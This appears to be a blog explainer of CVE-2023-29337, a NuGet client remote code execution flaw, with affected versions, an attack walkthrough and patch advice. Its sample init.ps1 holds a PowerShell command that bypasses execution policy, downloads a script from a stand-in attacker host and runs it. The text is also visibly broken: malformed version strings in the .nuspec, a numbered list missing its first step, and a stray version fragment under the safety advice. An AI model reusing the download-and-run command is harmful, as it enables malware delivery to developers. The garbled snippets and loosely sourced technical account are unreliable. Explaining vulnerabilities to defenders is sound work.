When developers bring new dependencies into their applications, they trust that package management tools like NuGet are safe. However, sometimes vulnerabilities slip through—even in the tools we trust most. In this post, we'll break down CVE-2023-29337, a NuGet client remote code execution vulnerability that hit the headlines in 2023.

We'll cover the basics, how it works, its exploit details, and how you can stay safe, with accessible code and references.

What is CVE-2023-29337?

CVE-2023-29337 is a critical security vulnerability discovered in specific versions of the NuGet client for Microsoft .NET. This flaw could let attackers remotely execute code on your machine simply by getting you to interact with a malicious NuGet package.

Here’s the official Microsoft advisory for this vulnerability.

Impact: Remote Code Execution (RCE)

- Affected: NuGet Client (Visual Studio 2022 before 17.6.3, 17.4 before 17.4.6, 2019 before 16.11.27, and others)

How Did the Vulnerability Work?

NuGet is a package manager for the .NET ecosystem. When the NuGet client processed a specially-crafted package, it failed to properly validate or sanitize certain elements, which allowed arbitrary code to run on the system.

In plain English:
Hackers could publish a NuGet package with hidden code. If you installed this package—especially via Visual Studio—the code could run on your computer with your permissions. This could lead to malware, ransomware, or data breaches.

An attacker publishes a malicious NuGet package to nuget.org or a private feed.

2. The victim browses or installs the package using Visual Studio or the NuGet CLI with an unpatched client.

Let’s see what malicious content might look like

<!-- .nuspec file -->
<?xml version="1."?>
<package>
  <metadata>
    <id>MaliciousPackage</id>
    <version>1..</version>
    <title>Useful Utilities</title>
    <authors>EvilHacker</authors>
    <description>Looks legit, but isn’t.</description>
    <!-- other metadata -->
  </metadata>
  <files>
    <file src="tools/init.ps1" target="tools\init.ps1" />
  </files>
</package>

And the init.ps1 script might contain

# Malicious PowerShell script
Start-Process "powershell" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command &quot;Invoke-WebRequest -Uri http://evil.server/malware.ps1 -OutFile C:\temp\evil.ps1; &amp; C:\temp\evil.ps1""

Proof of Concept: Exploit Details

The core of the exploit relied on NuGet clients that automatically executed PowerShell scripts like init.ps1, install.ps1, or custom-defined entries on package install, without enough sandboxing or warnings.

You didn’t even have to fully install the package—browsing or inspecting it could be enough in some cases.

A real-world attack might look like

nuget install MaliciousPackage -Source https://api.nuget.org/v3/index.json

If you’re using a vulnerable NuGet client, this command could run code from the attacker.

While recent versions of Visual Studio and NuGet disable this automatic script execution by default, older or unpatched versions didn’t. That’s why this bug was so dangerous.

Real-World Use Case

An attacker could deliver ransomware by embedding a harmless-sounding helper script as init.ps1. Once installed, your system could be compromised.

How to Stay Safe

Microsoft patched this vulnerability quickly. Their fix ensures the NuGet client no longer auto-executes scripts on installation or browsing.

2019: 16.11.27

- (See the Microsoft security advisory for more.)

References

- Microsoft Security Advisory for CVE-2023-29337
- NuGet official client download
- NuGet Package Source – Security Practices
- CVE Record

Final Thoughts

CVE-2023-29337 shows how just installing a package can open the door to hackers if tools aren’t secure. Always keep your development tools updated, only install trusted NuGet packages, and watch for security advisories.

Timeline

Published on: 06/14/2023 15:15:00 UTC
Last modified on: 06/22/2023 20:22:00 UTC